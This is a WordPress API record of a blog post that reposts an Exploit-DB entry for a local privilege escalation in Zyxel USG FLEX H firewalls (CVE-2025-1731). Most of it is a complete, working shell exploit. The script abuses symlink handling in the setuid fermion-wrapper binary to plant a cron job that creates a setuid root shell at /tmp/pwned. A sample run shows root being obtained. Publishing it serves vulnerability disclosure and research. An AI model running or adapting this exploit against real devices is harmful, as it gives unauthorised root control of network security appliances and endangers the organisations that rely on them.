{"id":4974,"date":"2025-05-18T11:33:25","date_gmt":"2025-05-18T11:33:25","guid":{"rendered":"http:\/\/localhost\/?p=4974"},"modified":"2025-05-18T11:33:25","modified_gmt":"2025-05-18T11:33:25","slug":"zyxel-usg-flex-h-series-uos-131-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=4974","title":{"rendered":"Zyxel USG FLEX H series uOS 1.31 &#8211; Privilege Escalation"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Zyxel USG FLEX H series uOS 1.31 &#8211; Privilege Escalation<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52293<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-18T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-18T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-1731<\/li>\n<li>CVE-2025-1732<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Zyxel USG FLEX H series uOS&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Zyxel USG FLEX H series uOS 1.31 &#8211; Privilege Escalation<br \/>\n<br \/># Date: 2025-04-23<br \/>\n<br \/># Exploit Author: Marco Ivaldi<br \/>\n<br \/># Vendor Homepage: https:\/\/www.zyxel.com\/<br \/>\n<br \/># Version: Zyxel uOS V1.31 (see<br \/>\n<br \/>https:\/\/www.zyxel.com\/global\/en\/support\/security-advisories\/zyxel-security-=<br \/>\n<br \/>=3D<br \/>\n<br \/>advisory-for-incorrect-permission-assignment-and-improper-privilege-managem=<br \/>\n<br \/>=3D<br \/>\n<br \/>ent-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025)<br \/>\n<br \/># Tested on: Zyxel FLEX100H with Firmware V1.31(ABXF.0) and Zyxel<br \/>\n<br \/>FLEX200H with Firmware V1.31(ABWV.0)<br \/>\n<br \/># CVE: CVE-2025-1731<\/p>\n<p>#!\/bin\/sh<\/p>\n<p>#<br \/>\n<br \/># raptor_fermion &#8211; Zyxel fermion-wrapper root LPE exploit<br \/>\n<br \/># Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info><br \/>\n<br \/>#<br \/>\n<br \/># &#8220;So we wait, this is our labour&#8230; we wait.&#8221;<br \/>\n<br \/>#               &#8212; Anthony Swofford on fuzzing<br \/>\n<br \/>#<br \/>\n<br \/># The setuid root binary program `\/usr\/sbin\/fermion-wrapper` distributed by<br \/>\n<br \/># Zyxel with some of their appliances follows symbolic links in the `\/tmp`<br \/>\n<br \/># directory when run with the `register-status` argument. This allows local<br \/>\n<br \/># users with access to a Linux OS shell to trick the program into creating<br \/>\n<br \/># writable files at arbitrary locations in the filesystem. This vulnerability<br \/>\n<br \/># can be exploited to overwrite arbitrary files or locally escalate privileges<br \/>\n<br \/># from low-privileged user (e.g., `postgres`) to root.<br \/>\n<br \/>#<br \/>\n<br \/># Note: the `\/tmp` directory doesn&#8217;t have the sticky bit set, which simplifies<br \/>\n<br \/># exploitation of this vulnerability and may also cause all sorts of havoc.<br \/>\n<br \/>#<br \/>\n<br \/># ## Vulnerability information<br \/>\n<br \/>#<br \/>\n<br \/># * CVE ID &#8211; CVE-2025-1731<br \/>\n<br \/># * High &#8211; 7.8 &#8211; CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<br \/>\n<br \/># * CWE-61 &#8211; https:\/\/cwe.mitre.org\/data\/definitions\/61.html<br \/>\n<br \/>#<br \/>\n<br \/># ## Relevant links<br \/>\n<br \/>#<br \/>\n<br \/># * https:\/\/github.com\/hnsecurity\/vulns\/blob\/main\/HNS-2025-10-zyxel-fermion.txt<br \/>\n<br \/># * https:\/\/security.humanativaspa.it\/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731<br \/>\n<br \/># * https:\/\/0xdeadc0de.xyz\/blog\/cve-2025-1731_cve-2025-1732<br \/>\n<br \/># * https:\/\/security.humanativaspa.it\/tag\/zyxel\/<br \/>\n<br \/>#<br \/>\n<br \/># ## Usage example<br \/>\n<br \/>#<br \/>\n<br \/># &#8220;`<br \/>\n<br \/># $ .\/raptor_fermion<br \/>\n<br \/># raptor_fermion &#8211; Zyxel fermion-wrapper root LPE exploit<br \/>\n<br \/># Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info><br \/>\n<br \/>#<br \/>\n<br \/># [*] Exploiting \/usr\/sbin\/fermion-wrapper<br \/>\n<br \/># $ uname -a<br \/>\n<br \/># Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU\/Linux<br \/>\n<br \/># $ id<br \/>\n<br \/># uid=502(postgres) gid=502(postgres) groups=502(postgres)<br \/>\n<br \/># $ ls -l \/usr\/sbin\/fermion-wrapper<br \/>\n<br \/># -rwsr-xr-x 1 root root 44288 Jan  9 05:34 \/usr\/sbin\/fermion-wrapper<br \/>\n<br \/># {&#8220;status&#8221;: 0, &#8220;registered&#8221;: 1, &#8220;nebula_registered&#8221;: 1, &#8220;bundle&#8221;: 1}<br \/>\n<br \/>#<br \/>\n<br \/># [+] Everything looks good \\o\/, wait an hour and check \/tmp\/pwned<br \/>\n<br \/># $ ls -l \/etc\/cron.d\/runme<br \/>\n<br \/># -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 \/etc\/cron.d\/runme<br \/>\n<br \/># $ cat \/etc\/cron.d\/runme<br \/>\n<br \/># * * * * *   cp \/bin\/sh \/tmp\/pwned; chmod 4755 \/tmp\/pwned; rm \/etc\/cron.d\/runme<br \/>\n<br \/>#<br \/>\n<br \/># [+] Run the shell as follows to bypass bash checks: \/tmp\/pwned -p<br \/>\n<br \/>#<br \/>\n<br \/># [about one hour later&#8230;]<br \/>\n<br \/>#<br \/>\n<br \/># $ ls -l \/tmp\/pwned<br \/>\n<br \/># -rwsr-xr-x 1 root root 916608 Feb 14 16:25 \/tmp\/pwned<br \/>\n<br \/># $ \/tmp\/pwned -p<br \/>\n<br \/># # id<br \/>\n<br \/># uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)<br \/>\n<br \/># # R00t D4nc3!!!111! \\o\/<br \/>\n<br \/># &#8220;`<br \/>\n<br \/>#<br \/>\n<br \/># ## Tested on<br \/>\n<br \/>#<br \/>\n<br \/># * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47<br \/>\n<br \/># * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31<br \/>\n<br \/>#<br \/>\n<br \/># *Note: other products and firmware versions may also be vulnerable.*<br \/>\n<br \/>#<br \/>\n<br \/># ## Special thanks<br \/>\n<br \/>#<br \/>\n<br \/># * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices<br \/>\n<br \/>#<\/p>\n<p>echo &#8220;raptor_fermion &#8211; Zyxel fermion-wrapper root LPE exploit&#8221;<br \/>\n<br \/>echo &#8220;Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>&#8221;<br \/>\n<br \/>echo<\/p>\n<p>target=&#8221;\/usr\/sbin\/fermion-wrapper&#8221;<br \/>\n<br \/>tmpfile=&#8221;\/tmp\/register_status&#8221;<br \/>\n<br \/>runme=&#8221;\/etc\/cron.d\/runme&#8221;<br \/>\n<br \/>shell=&#8221;\/tmp\/pwned&#8221;<\/p>\n<p>echo &#8220;[*] Exploiting $target&#8221;<br \/>\n<br \/>echo &#8220;$ uname -a&#8221;<br \/>\n<br \/>uname -a<br \/>\n<br \/>echo &#8220;$ id&#8221;<br \/>\n<br \/>id<br \/>\n<br \/>echo &#8220;$ ls -l $target&#8221;<br \/>\n<br \/>ls -l $target<\/p>\n<p>umask 0<br \/>\n<br \/>rm $tmpfile<br \/>\n<br \/>ln -s $runme \/tmp\/register_status<br \/>\n<br \/>$target register-status<br \/>\n<br \/>echo &#8220;* * * * *   cp \/bin\/sh $shell; chmod 4755 $shell; rm $runme&#8221; > $runme<\/p>\n<p>if [ &#8220;`cat $runme 2>\/dev\/null`&#8221; = &#8220;&#8221; ]; then<br \/>\n<br \/>\techo &#8220;[!] Error: something went wrong \u00af\\\\_(\u30c4)_\/\u00af&#8221;<br \/>\n<br \/>\texit 1<br \/>\n<br \/>fi<\/p>\n<p>echo<br \/>\n<br \/>echo &#8220;[+] Everything looks good \\\\o\/, wait an hour and check $shell&#8221;<br \/>\n<br \/>echo &#8220;$ ls -l $runme&#8221;<br \/>\n<br \/>ls -l $runme<br \/>\n<br \/>echo &#8220;$ cat $runme&#8221;<br \/>\n<br \/>cat $runme<\/p>\n<p>echo<br \/>\n<br \/>echo &#8220;[+] Run the shell as follows to bypass bash checks: $shell -p&#8221;<br \/>\n<br \/>echo\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52293\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Zyxel USG FLEX H series uOS 1.31 &#8211; Privilege Escalation Exploit ID EDB-ID:52293 Type exploitdb Published 2025-05-18T00:00:00 Modified 2025-05-18T00:00:00&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-4974","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=4974\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Zyxel USG FLEX H series uOS 1.31 &#8211; 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